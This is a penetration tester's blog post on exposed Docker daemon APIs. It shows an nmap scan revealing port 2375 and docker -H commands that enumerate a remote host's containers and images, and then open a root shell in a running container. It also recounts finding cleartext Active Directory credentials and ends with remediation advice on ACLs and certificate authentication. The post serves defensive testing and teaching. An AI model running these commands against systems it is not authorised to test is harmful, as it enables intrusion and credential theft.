Skip to main content

Simple Security Fails (part 3) – Exposed Docker Daemon API

This blog post will focus on exploiting exposed Docker daemons. During a recent internal penetration test I discovered an exposed Docker Daemon. By having the daemon exposed outside of the localhost, the security of the service / containers can be greatly compromised. In the following sections, I will describe how one can find instances of exposed docker daemons and exploit them in the wild. I will also provide guidance to teams on the best way to remediate this issue.


The following techniques can be used to find exposed Docker daemons:


sudo nmap -sS -p- Starting Nmap 7.01 ( ) at 2020-03-08 11:31 CEST
Nmap scan report for
Host is up (0.00046s latency).
Not shown: 65498 closed ports, 35 filtered ports
22/tcp   open  ssh
2375/tcp open  docker

Tenable Nessus:

Severity: Critical

Plugin ID: 124029

Published: April 12, 2019



So, now you’ve found an exposed Docker daemon. What’s next? Before continuing be sure to have Docker installed on your testing system.

The following commands will allow an attacker to discover sensitive information about the remote docker instance and even gain a shell on the remote container. These commands are executed on your testing system.

Information about the remote Docker instance:

docker -H <host>:<port> info

Information about containers running:

docker -H <host>:<port> ps

Information about the stopped containers:

docker -H <host>:<port> ps -a

Information about the images pulled on the host machine:

docker -H <host>:<port> images

Accessing the remote container (the good stuff):

Gain a shell on the remote computer:

docker -H <host>:<port> exec -it <container name> /bin/bash

The above command should drop you into the container as root. At this point during the Internal Penetration Test I had gained root access to one of the running containers. Taking a look around the container, I had discovered setup script files with cleartext Active Directory credentials (very privileged account). Now I can use the access gained to mount additional attacks against the internal network.


Implementing Access Control Lists (ACL) to restrict exactly which hosts can access the API will help the mitigation process and reduce the API access threshold. However, to remediate this issue, ensure all Docker instances are configured to only allow connections from clients authenticated by a certificate signed by a specified Certificate Authority. Refer to the following Docker link for more information about securing the Docker daemon configuration.